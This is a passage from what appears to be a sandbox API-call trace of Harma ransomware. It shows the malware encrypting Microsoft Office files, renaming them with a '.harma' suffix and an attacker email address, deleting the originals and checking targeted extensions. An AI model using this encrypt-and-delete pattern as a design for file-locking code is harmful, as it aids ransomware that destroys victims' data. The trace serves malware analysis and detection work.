SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.188] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.188] GetLastError () returned 0x0 [0158.188] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x866, lpOverlapped=0x0) returned 1 [0158.212] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x870, lpOverlapped=0x0) returned 1 [0158.212] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.212] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.213] SetEndOfFile (hFile=0x350) returned 1 [0158.213] CloseHandle (hObject=0x350) returned 1 [0158.213] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.213] SetEndOfFile (hFile=0x380) returned 1 [0158.217] CloseHandle (hObject=0x380) returned 1 [0158.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 1 [0158.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.218] lstrlenW (lpString=".doc") returned 4 [0158.218] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.218] lstrlenW (lpString=".docx") returned 5 [0158.218] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1 [0158.219] lstrlenW (lpString=".pdf") returned 4 [0158.219] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.219] lstrlenW (lpString=".xls") returned 4 [0158.219] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.219] lstrlenW (lpString=".xlsx") returned 5 [0158.219] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1 [0158.219] lstrlenW (lpString=".ppt") returned 4 [0158.219] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.219] lstrlenW (lpString=".zip") returned 4 [0158.219] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.219] lstrlenW (lpString=".rar") returned 4 [0158.219] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.219] lstrlenW (lpString=".bz2") returned 4 [0158.219] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.219] lstrlenW (lpString=".7z") returned 3 [0158.219] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.219] lstrlenW (lpString=".dbf") returned 4 [0158.219] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.219] lstrlenW (lpString=".1cd") returned 4 [0158.219] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.219] lstrlenW (lpString=".jpg") returned 4 [0158.219] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.219] lstrlenW (lpString=".doc") returned 4 [0158.219] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.219] lstrlenW (lpString=".docx") returned 5 [0158.220] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1 [0158.220] lstrlenW (lpString=".pdf") returned 4 [0158.220] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.220] lstrlenW (lpString=".xls") returned 4 [0158.220] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.220] lstrlenW (lpString=".xlsx") returned 5 [0158.220] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1 [0158.220] lstrlenW (lpString=".ppt") returned 4 [0158.220] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.220] lstrlenW (lpString=".zip") returned 4 [0158.220] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.220] lstrlenW (lpString=".rar") returned 4 [0158.220] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.220] lstrlenW (lpString=".bz2") returned 4 [0158.220] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.220] lstrlenW (lpString=".7z") returned 3 [0158.220] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.220] lstrlenW (lpString=".dbf") returned 4 [0158.220] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.220] lstrlenW (lpString=".1cd") returned 4 [0158.220] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0158.220] lstrlenW (lpString=".jpg") returned 4 [0158.220] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.220] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0158.221] lstrlenW (lpString="NETWORK3.VRD") returned 12 [0158.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.221] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3246) returned 1 [0158.221] CloseHandle (hObject=0x380) returned 1 [0158.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 0x20 [0158.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.222] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.222] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.223] GetLastError () returned 0x0 [0158.223] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xcae, lpOverlapped=0x0) returned 1 [0158.283] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xcb0, lpOverlapped=0x0) returned 1 [0158.284] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.284] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.284] SetEndOfFile (hFile=0x350) returned 1 [0158.284] CloseHandle (hObject=0x350) returned 1 [0158.284] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.284] SetEndOfFile (hFile=0x380) returned 1 [0158.286] CloseHandle (hObject=0x380) returned 1 [0158.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 1 [0158.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.287] lstrlenW (lpString=".doc") returned 4 [0158.287] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.287] lstrlenW (lpString=".docx") returned 5 [0158.287] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1 [0158.287] lstrlenW (lpString=".pdf") returned 4 [0158.287] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.288] lstrlenW (lpString=".xls") returned 4 [0158.288] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.288] lstrlenW (lpString=".xlsx") returned 5 [0158.288] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1 [0158.288] lstrlenW (lpString=".ppt") returned 4 [0158.288] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.288] lstrlenW (lpString=".zip") returned 4 [0158.288] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.288] lstrlenW (lpString=".rar") returned 4 [0158.288] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.288] lstrlenW (lpString=".bz2") returned 4 [0158.288] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.288] lstrlenW (lpString=".7z") returned 3 [0158.288] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.288] lstrlenW (lpString=".dbf") returned 4 [0158.288] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.288] lstrlenW (lpString=".1cd") returned 4 [0158.288] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.288] lstrlenW (lpString=".jpg") returned 4 [0158.288] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.288] lstrlenW (lpString=".doc") returned 4 [0158.288] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.288] lstrlenW (lpString=".docx") returned 5 [0158.288] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1 [0158.288] lstrlenW (lpString=".pdf") returned 4 [0158.288] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.289] lstrlenW (lpString=".xls") returned 4 [0158.289] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.289] lstrlenW (lpString=".xlsx") returned 5 [0158.289] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1 [0158.289] lstrlenW (lpString=".ppt") returned 4 [0158.289] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.289] lstrlenW (lpString=".zip") returned 4 [0158.289] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.289] lstrlenW (lpString=".rar") returned 4 [0158.289] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.289] lstrlenW (lpString=".bz2") returned 4 [0158.289] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.289] lstrlenW (lpString=".7z") returned 3 [0158.289] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.289] lstrlenW (lpString=".dbf") returned 4 [0158.289] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.289] lstrlenW (lpString=".1cd") returned 4 [0158.289] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0158.289] lstrlenW (lpString=".jpg") returned 4 [0158.289] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.289] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0158.289] lstrlenW (lpString="OIS_F_COL.HXK") returned 13 [0158.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.290] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=114) returned 1 [0158.290] CloseHandle (hObject=0x380) returned 1 [0158.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 0x20 [0158.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.291] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.291] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.292] GetLastError () returned 0x0 [0158.292] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x72, lpOverlapped=0x0) returned 1 [0158.293] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0158.294] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.294] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xee, lpOverlapped=0x0) returned 1 [0158.294] SetEndOfFile (hFile=0x350) returned 1 [0158.294] CloseHandle (hObject=0x350) returned 1 [0158.294] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.294] SetEndOfFile (hFile=0x380) returned 1 [0158.297] CloseHandle (hObject=0x380) returned 1 [0158.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 1 [0158.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.298] lstrlenW (lpString=".doc") returned 4 [0158.298] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.298] lstrlenW (lpString=".docx") returned 5 [0158.298] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.298] lstrlenW (lpString=".pdf") returned 4 [0158.298] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.298] lstrlenW (lpString=".xls") returned 4 [0158.298] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.298] lstrlenW (lpString=".xlsx") returned 5 [0158.298] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.298] lstrlenW (lpString=".ppt") returned 4 [0158.298] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.298] lstrlenW (lpString=".zip") returned 4 [0158.298] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.298] lstrlenW (lpString=".rar") returned 4 [0158.298] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.298] lstrlenW (lpString=".bz2") returned 4 [0158.298] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.298] lstrlenW (lpString=".7z") returned 3 [0158.298] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.299] lstrlenW (lpString=".dbf") returned 4 [0158.299] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.299] lstrlenW (lpString=".1cd") returned 4 [0158.299] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.299] lstrlenW (lpString=".jpg") returned 4 [0158.299] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.299] lstrlenW (lpString=".doc") returned 4 [0158.299] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.299] lstrlenW (lpString=".docx") returned 5 [0158.299] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.299] lstrlenW (lpString=".pdf") returned 4 [0158.299] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.299] lstrlenW (lpString=".xls") returned 4 [0158.299] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.299] lstrlenW (lpString=".xlsx") returned 5 [0158.299] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.299] lstrlenW (lpString=".ppt") returned 4 [0158.299] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.299] lstrlenW (lpString=".zip") returned 4 [0158.299] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.299] lstrlenW (lpString=".rar") returned 4 [0158.299] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.299] lstrlenW (lpString=".bz2") returned 4 [0158.299] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.299] lstrlenW (lpString=".7z") returned 3 [0158.300] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.300] lstrlenW (lpString=".dbf") returned 4 [0158.300] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.300] lstrlenW (lpString=".1cd") returned 4 [0158.300] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0158.300] lstrlenW (lpString=".jpg") returned 4 [0158.300] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.300] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0158.300] lstrlenW (lpString="OIS_K_COL.HXK") returned 13 [0158.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.301] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=113) returned 1 [0158.301] CloseHandle (hObject=0x380) returned 1 [0158.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 0x20 [0158.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.301] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.302] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.302] GetLastError () returned 0x0 [0158.302] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x71, lpOverlapped=0x0) returned 1 [0158.324] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0158.325] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: 